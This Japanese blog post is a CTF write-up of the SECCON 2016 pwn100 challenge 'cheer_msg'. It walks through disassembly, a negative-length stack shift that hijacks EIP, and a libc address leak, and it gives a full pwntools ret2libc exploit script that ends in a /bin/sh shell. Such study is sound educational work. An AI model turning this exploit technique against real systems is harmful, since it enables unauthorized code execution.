SECCON 2016 Online 復習:cheer_msg
はじめに
12/10 15:00-12/11 15:00の24時間、SECCON 2016のオンライン予選が開催されました。僕はチームg0tiu5aで参戦したのですが、点数を入れられず…..もっと精進して解けるようになりたいと思います。
チームとしては400点獲得しました。
僕は10日はバイトだったのですが、帰宅に失敗し24時を過ぎたくらいから挑戦しました。
pwn, revを勉強していたので、100点の問題くらいは解きたいなぁと考えていたんですが、まだまだ実力不足でした。
今回はpwn100 cheer_msg
がようやく解けたので書いていきます。
解いた問題は学習のために続々Upしていきたい所存です。
cheer_msg
友利奈緒に応援メッセージを送るプログラムを渡されます。
$ file cheer_msg cheer_msg: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ed63cb3a04480eeb344d7d567c893805a1119f2f, not stripped $ checksec cheer_msg [*] '/home/ubuntu/writeup/seccon2016/cheer_msg/cheer_msg' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
コンテスト中に、Message Length
に負数を渡すとなんか挙動がおかしくなるなぁって気づいてたんですが、実力不足でそこから進めませんでした。
080485ca <main>: 80485ca: 8d 4c 24 04 lea ecx,[esp+0x4] 80485ce: 83 e4 f0 and esp,0xfffffff0 80485d1: ff 71 fc push DWORD PTR [ecx-0x4] 80485d4: 55 push ebp 80485d5: 89 e5 mov ebp,esp 80485d7: 51 push ecx 80485d8: 83 ec 24 sub esp,0x24 80485db: c7 04 24 e0 87 04 08 mov DWORD PTR [esp],0x80487e0 80485e2: e8 49 fe ff ff call 8048430 <printf@plt> 80485e7: e8 21 01 00 00 call 804870d <getint> 80485ec: 89 45 f0 mov DWORD PTR [ebp-0x10],eax 80485ef: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 80485f2: 8d 50 0f lea edx,[eax+0xf] 80485f5: b8 10 00 00 00 mov eax,0x10 80485fa: 83 e8 01 sub eax,0x1 80485fd: 01 d0 add eax,edx 80485ff: b9 10 00 00 00 mov ecx,0x10 8048604: ba 00 00 00 00 mov edx,0x0 8048609: f7 f1 div ecx 804860b: 6b c0 10 imul eax,eax,0x10 804860e: 29 c4 sub esp,eax 8048610: 8d 44 24 08 lea eax,[esp+0x8] 8048614: 83 c0 0f add eax,0xf 8048617: c1 e8 04 shr eax,0x4 804861a: c1 e0 04 shl eax,0x4 804861d: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 8048620: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 8048623: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048627: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 804862a: 89 04 24 mov DWORD PTR [esp],eax 804862d: e8 0a 00 00 00 call 804863c <message> 8048632: c9 leave 8048633: c3 ret
getintで正数を与えるとその分だけespを減算してメッセージのbufferの領域を確保してくれますが、負数を入れるとそのまま負数を減算します。つまり、espを高位アドレスに移すことができます。
gdb-peda$ -150 [------------------------------------------registers------------------------------------------] EAX: 0x4 EBX: 0xf7fb3000 --> 0x1aada8 ECX: 0xc (b'\x0c') EDX: 0x4 ESI: 0x0 EDI: 0x0 EBP: 0xffffd0d8 --> 0xffffd118 --> 0x0 ESP: 0xffffd070 --> 0xffffd08c ("-150") EIP: 0x8048690 (<message+84>: mov eax,DWORD PTR [ebp-0x5c]) [--------------------------------------------code---------------------------------------------] 0x8048685 <message+73>: lea eax,[ebp-0x4c] 0x8048688 <message+76>: mov DWORD PTR [esp],eax 0x804868b <message+79>: call 0x80486bd <getnline> => 0x8048690 <message+84>: mov eax,DWORD PTR [ebp-0x5c] 0x8048693 <message+87>: mov DWORD PTR [esp+0x8],eax 0x8048697 <message+91>: lea eax,[ebp-0x4c] 0x804869a <message+94>: mov DWORD PTR [esp+0x4],eax 0x804869e <message+98>: mov DWORD PTR [esp],0x804887d [--------------------------------------------stack--------------------------------------------]
Message Length = -150
、NAME = (pattoc 100)
とかでやってみると、オフセット0でEIPを奪えた。
[------------------------------------------registers------------------------------------------] EAX: 0x0 EBX: 0xf7fb3000 --> 0x1aada8 ECX: 0x57 (b'W') EDX: 0xf7fb4898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xffffd120 ("AAsAABAA$AAnAAC"...) EIP: 0x25414141 (b'AAA%') [--------------------------------------------code---------------------------------------------] Invalid $PC address: 0x25414141 [--------------------------------------------stack--------------------------------------------] 00:0000| esp 0xffffd120 ("AAsAABAA$AAnAAC"...) 01:0004| 0xffffd124 ("ABAA$AAnAACAA-A"...) 02:0008| 0xffffd128 ("$AAnAACAA-AA(AA"...) 03:0012| 0xffffd12c ("AACAA-AA(AADAA;"...) 04:0016| 0xffffd130 ("A-AA(AADAA;AA)A"...) 05:0020| 0xffffd134 ("(AADAA;AA)AAEAA"...) 06:0024| 0xffffd138 ("AA;AA)AAEAAaAA0"...) 07:0028| 0xffffd13c ("A)AAEAAaAA0AAFA"...) [---------------------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value Stopped reason: SIGSEGV 0x25414141 in ?? () gdb-peda$ patto AAA% AAA% found at offset: 0
EIPは奪えたが、フラッグを読んでる関数は存在しないっぽいしバイナリ中にシェルを起動する関数もないっぽい。 libcのsystem関数を呼び出すret2libcすれば良い。
そのためにはlibcのbase addressをsetbuf関数のアドレスをprintfすることでleakしてやれば良い。
1回目のStackは以下のようにつむ。
-------------------------------------------------- printf@plt -------------------------------------------------- main -------------------------------------------------- "\nThank you %s!\nMessage : %s\n"のアドレス -------------------------------------------------- setbuf@pltのGOTアドレス --------------------------------------------------
それぞれのオフセットを調べておく。
$ nm -D libc-2.19.so | grep setbuf 0006de50 T _IO_file_setbuf 001278a0 T _IO_file_setbuf 00065d80 T _IO_setbuffer 00067b20 T setbuf $ nm -D libc-2.19.so | grep system 00040310 T __libc_system 001193c0 T svcerr_systemerr 00040310 W system $ strings -a -tx libc-2.19.so | grep sh$ e45b inet6_opt_finish f397 _IO_wdefault_finish f97b _IO_fflush 117fe _IO_file_finish 11cf9 bdflush 1214b tcflush 123fd _IO_default_finish 15df25 Trailing backslash 15e3f8 sys/net/ash 16084c /bin/sh
setbufのlib base addressとのオフセットは0x67b20
であることがわかるので、systemと引数の/bin/shのアドレスが求まる。
setbufのアドレスも調べておく。
$ readelf -r cheer_msg | grep .plt -A20 Relocation section '.rel.plt' at offset 0x3a0 contains 9 entries: Offset Info Type Sym.Value Sym. Name 0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf 0804a010 00000207 R_386_JUMP_SLOT 00000000 printf 0804a014 00000307 R_386_JUMP_SLOT 00000000 fgets 0804a018 00000407 R_386_JUMP_SLOT 00000000 __stack_chk_fail 0804a01c 00000507 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a020 00000607 R_386_JUMP_SLOT 00000000 strchr 0804a024 00000707 R_386_JUMP_SLOT 00000000 strlen 0804a028 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main 0804a02c 00000907 R_386_JUMP_SLOT 00000000 atoi
2度目のStackは以下のようになる。
------------------------------- system ------------------------------- 'AAAA'(適当) ------------------------------- `/bin/sh`のアドレス -------------------------------
最終的なコードは以下のようになりました。
from pwn import * import sys r = remote("localhost", 4444) """ # libc offset 00067b20 T setbuf 00040310 W system 16084c /bin/sh """ offset_setbuf = 0x67b20 offset_system = 0x40310 offset_binsh = 0x16084c main = 0x080485ca printf_plt = 0x08048430 str_addr = 0x0804887d setbuf_addr = 0x0804a00c r.recvuntil('Message Length >> ') r.sendline('-150') """ # stack - printf - main - '\nThank... - setbuf """ rop = ''.join([ p32(printf_plt), p32(main), p32(str_addr), p32(setbuf_addr), ]) r.recvuntil('Name >> ') r.sendline(rop) #print r.recv() #print r.recv() r.recvuntil('Message : \n\n') addr = r.recvline()[:-2] # remove '\n!' from 'Thank you %s\n!' leaked_setbuf = u32(addr[10:14]) # len('Thank you ') -> 10 libc_base_addr = leaked_setbuf - offset_setbuf system_addr = libc_base_addr + offset_system binsh_addr = libc_base_addr + offset_binsh print "[*] address leaked." print "leaked_setbuf = {0}".format(hex(leaked_setbuf)) print "libc_base_addr = {0}".format(hex(libc_base_addr)) print "system_addr = {0}".format(hex(system_addr)) print "binsh_addr = {0}".format(hex(binsh_addr)) """ stack: - system - 'AAAA' - '/bin/sh' """ rop = ''.join([ p32(system_addr), 'AAAA', p32(binsh_addr), ]) r.recvuntil('Message Length >> ') r.sendline('-150') r.recvuntil('Name >> ') r.sendline(rop) r.interactive()
$ python exploit.py [+] Opening connection to localhost on port 4444: Done [*] address leaked. leaked_setbuf = 0xf7e6fb20 libc_base_addr = 0xf7e08000 system_addr = 0xf7e48310 binsh_addr = 0xf7f6884c [*] Switching to interactive mode Thank you \x10\x83ä÷AAAAL\x88ö÷! Message : $ ls cheer_msg exploit.py input.txt libc-2.19.so peda-session-cheer_msg.txt $
感想
正直まだまだ理解できてないことが多いな、ってのを当日取り組みながら&復習しながら感じました。まだまだアセンブリのニーモニックすら読めてないし、ROPも実践するの初めてだし。(本の演習とかはするけど、問題解く感覚とは違う気がする)いろんな演算してる処理見てると後回しにしちゃう癖があるので、アセンブリ読みつつ、gdbで実行してみて実際の値がどうなってるか、てのを地道に見ていくのが必要だなぁと感じました。
あとは、実際に当日解いてた時は負数を-100とかにして入力いじってみても正常に終了してたり、例えばEIPにでてる表記をpattoで調べてもパターン検出しなかったり、やり直したら出てきました。(汗)入力のパターン数をもっと増やしてみるのが必要ですね。pwnlibとかもあんまうまく使えてなかったけど、これ書きながらなんとなく基本的な(?)使い方は理解したのでガンガン使っていきたいです。
解けなかったのはとても悔しいけど、知識が実践で定着していく、って感覚はとても楽しいし次は得点してやるぞ!って気持ちです。 自分の手数を増やしていきたいので復習終わったらbataさんのpwnリスト埋めと復習を続けていきます。
参考
SECCON 2016 Online Exploit作問 1/2 (cheer_msg, checker, shopping) - ShiftCrops つれづれなる備忘録
SECCON 2016 Online CTF 供養(Writeup) - ももいろテクノロジー